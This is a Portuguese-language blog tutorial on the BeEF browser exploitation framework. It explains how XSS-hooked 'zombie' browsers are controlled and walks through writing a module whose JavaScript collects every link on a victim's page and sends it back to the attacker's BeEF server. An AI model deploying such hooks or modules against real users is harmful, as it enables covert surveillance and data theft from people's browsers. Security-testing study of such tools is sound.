Browser Exploitation Framework, ou BeEF, é uma ferramenta que oferece controle em tempo real a “vítimas” (que se transformarão, na verdade, em “Zumbies”) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado.
Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas funções. Tais códigos vão de simples alertas exibidos em seus navegadores até a Port Scan em hosts remotos ou internos.
Em sua versão 0.4, o potencial do BeEF aumentou com a integração com o Metasploit, através de XMLRPC. Exploits de navegadores, incluindo o utilitário “Browser Autopwn” que procura por versões vulneráveis de plugins e do próprio navegador da vítima, podem ser iniciadas diretamente do BeEF, em poucos clicks.
Não tem segredo: BeEF é uma ferramenta fácil de se usar. Foi programada em PHP e possui uma interface bem amigável. Faça o download em http://www.bindshell.net/tools/beef . Mas lembre-se: Você precisará de um ambiente como Apache + PHP. (Não é necessário banco de dados. Os dados coletados são armazenados em arquivos de texto.)

Mas é claro, o melhor do BeEF é a facilidade da criação de novos modulos, o que nos da a certeza de que é uma ferramenta que, com a ajuda da comunidade, estará cada dia melhor. Então, vamos à primeira parte sobre Criação de Módulos para o BeEF:
Ao entrar em um site com o código JavaScript, o navegador da vítima passa a se comunicar constantemente com o BeEF, “informando” que a sessão continua ativa, ou seja, que o Zumbie esta disponível, e verificando se há códigos de módulos a ser executado. Um dos aspectos positivos, é que o código inicial contém apenas o necessário para a comunicação com o servidor. Os códigos das ações dos módulos são enviandos à vítima e executados apenas quando o hacker determinar.
Os módulos são organizados por categorias, são elas:
Na pasta /modules/ do BeEF, 3 sub-pastas são encontradas, sendo uma para cada categoria que descrevi acima. Dentro da pasta da categoria, há uma pasta para cada módulo (ex: /modules/standart/alert_dialog para o módulo de alertas).
Já nas pastas de cada módulo, vemos que ele é composto por três arquivos:
Para demonstrar os padrões usados na framework pelos arquivos index.php e template.js, nada melhor do que criarmos um simples módulo. Como o nosso módulo de exemplo será para listagem de links (URLs) na página atual, o chamaremos de URL CRAWLER.
O classifiquei como “Standart”. Vamos, por tanto, criar a pasta /modules/standart/url_crawler/
Feito isso, é hora de construirmos os arquivos necessários para seu funcionamento. Começaremos pelo mais simples, o name.txt .
Crie um arquivo de texto (txt) de nome name.txt contendo APENAS o nome do módulo, no caso, URL Crawler:
URL Crawler
Eis a parte principal da história. É aqui que faremos o código que será executado no navegador da vítima. Abaixo, o código comentado para nosso exemplo:
// Função do_main() é o nome padrão usado no BeEF para a função principal do código.
function do_main(){
// Criamos a variável links, que será um Array contendo as tags <a> encontradas no site
var links = document.getElementsByTagName("a");
// Um loop, para que possamos tratar de cada <a> encontrado
for ( var i in links ) {
// Verifica se a tag contém o atributo href (link clicável) e se não é uma chamada javascript:
if(links[i].href && (String(links[i].href).substring(0,11) != "javascript:")) {
// Adiciona a url encontrada na variável retorno
retorno = retorno + '\n' +links[i].href ; }
} }
// Define\Zera a variavel retorno.
var retorno = '';
// Chama função principal
do_main();
// Envia o resultado ao BeEF
return_result(result_id, retorno);
O mais importante a ser notado no exemplo dado, é o uso do return_result(result_id, retorno);. Esta função pertence ao JS injetado pelo BeEF, e o faz retornar uma informação, contendo o ID correto (result_id) para a ação. Em resumo, sempre que você desejar saber de algo da vítima, deverá usar este comando. Se seu objetivo não é coletar informações, você pode usa-lo para se certificar que a vítima já recebeu e executou o código, como por exemplo:
alert("Teste!");
return_result(result_id, "Alerta executado!");
Neste primeiro módulo de exemplo, nosso formulário de ativação (a página em que o hacker irá acionar o módulo) será simples, pois deve conter apenas a descrição do módulo e dois botões: O de acionar, e o de definir o módulo como AutoRun. O autor do BeEF usou um padrão bem simples em todos os módulos. Nos próximos posts detalharei mais esta parte, criando páginas com maios opções. Por enquanto, basta seguir o modelo:
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
require_once("../../../include/common.inc.php"); // included for get_b64_file()
DEFINE('JS_FILE', './template.js');
?>
URL Crawler
Este modulo ira listar todas as URLs de links na pagina.
Feito tudo isso, é só ir ao /beef/ui em seu navegador e conferir o novo módulo no menu. As URLs listadas aparecerão no log (parte direita do BeEF) e na página de informações individuais de cada Zumbie.
Por hoje é só, mas mais tutoriais sobre BeEF virão.
Espero que tenham gostado.
Fique de olho!
Abraços!
Gabriel
[...] o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um [...]